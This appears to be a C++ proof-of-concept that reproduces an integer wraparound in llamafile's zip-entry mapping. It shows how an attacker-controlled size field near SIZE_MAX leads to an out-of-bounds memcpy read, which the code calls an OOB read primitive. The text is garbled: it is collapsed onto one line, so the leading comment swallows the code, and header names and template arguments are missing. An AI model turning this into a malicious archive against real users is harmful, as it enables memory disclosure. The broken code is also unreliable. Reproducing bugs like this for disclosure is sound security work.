// Faithful to llamafile.c:226-241 + llamafile_read:386-392 // mapsize = skew + size (wraps); content = mapping + skew (may be past mapping); // read uses memcpy(ptr, content + position, amt) with amt from unwrapped size. #include #include #include #include #include int main() { long pagesz = 16384; off_t off = 100; // local header end offset off_t mapoff = off & -pagesz; long skew = (long)(off - mapoff); // 100 // Attacker zip compressed size field near SIZE_MAX so skew+size wraps size_t file_size = SIZE_MAX - (size_t)skew + 16; // mapsize wraps to 16 size_t mapsize = (size_t)skew + file_size; fprintf(stderr, "skew=%ld file_size=%zu mapsize=%zu (wrapped)\n", skew, file_size, mapsize); // mapping is only mapsize bytes std::vector mapping(mapsize ? mapsize : 1, 'A'); char *content = (char *)mapping.data() + skew; // past end when mapsize < skew fprintf(stderr, "mapping=%p end=%p content=%p (past_end=%d)\n", (void *)mapping.data(), (void *)(mapping.data() + mapping.size()), (void *)content, content >= mapping.data() + mapping.size()); // llamafile_read when position=0, len=64, trusts file->size (huge) size_t position = 0; size_t len = 64; if (position <= file_size) { size_t remain = file_size - position; size_t amt = len < remain ? len : remain; char ptr[64]; // This is the real OOB read primitive memcpy(ptr, content + position, amt); fprintf(stderr, "memcpy OOB completed (unexpected if unmapped)\n"); } return 0; }